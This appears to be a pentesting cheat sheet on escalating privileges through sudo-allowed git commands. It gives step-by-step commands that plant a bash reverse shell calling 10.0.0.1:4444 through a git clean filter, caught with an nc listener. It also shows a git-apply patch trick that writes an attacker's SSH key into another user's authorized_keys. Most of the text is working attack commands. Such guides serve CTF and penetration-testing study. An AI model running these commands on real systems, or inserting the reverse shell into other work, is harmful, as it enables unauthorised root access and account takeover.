Git Add/Commit

sudo /usr/bin/git --git-dir=/opt/example/.git --work-tree=/opt/example add -A
sudo /usr/bin/git --git-dir=/opt/example/.git --work-tree=/opt/example commit -m "commit"

If we can commit the git repository as root, we may be able to escalate privileges.

Exploitation

  1. Create a Payload
echo 'bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"' > /tmp/revshell
chmod +x /tmp/revshell
  1. Set Git Config
# Go to the git repository
cd /opt/example
git init
echo '*.php filter=indent' > .git/info/attributes
git config filter.indent.clean /tmp/revshell
  1. Commit the Repository

Before committing, we need to start a listener in local machine.

nc -lvnp 4444

Then commit with sudo.

sudo /usr/bin/git --git-dir=/opt/example/.git --work-tree=/opt/example add -A
sudo /usr/bin/git --git-dir=/opt/example/.git --work-tree=/opt/example commit -m "commit"

Now we should get a shell in local terminal.


Git Apply

sudo /usr/bin/git apply *

If we can apply the patch for the git repository, we can update the content of arbitrary file.

Exploitation with SSH Keys

Assume we are currently "user1" user then we want to escalate to be "user2".
First we create a new SSH key.

cd /home/user1
ssh-keygen -t rsa
Enter file in which to save the key (/home/user1/.ssh/id_rsa): id_rsa

New SSH keys (private/public) are generated under /home/user1.
Next, add the content of id_rsa.pub into authorized_keys..

cat /home/user1/id_rsa.pub > /home/user1/.ssh/authorized_keys

Then create a patch.

cd /home
git diff user1/.bash_history user1/.ssh/authorized_keys > /tmp/patch

After that, replace the name “user1” with “user2” in the patch file. 

sed -i 's/user1/user2/g' /tmp/patch

Now we can apply the patch as root. This command update the target user’s ("user2") authorization_keys to allow us to login with SSH key as "user2".

sudo /usr/bin/git apply /tmp/patch
ssh -i /home/user1/.ssh/id_rsa user2@example.com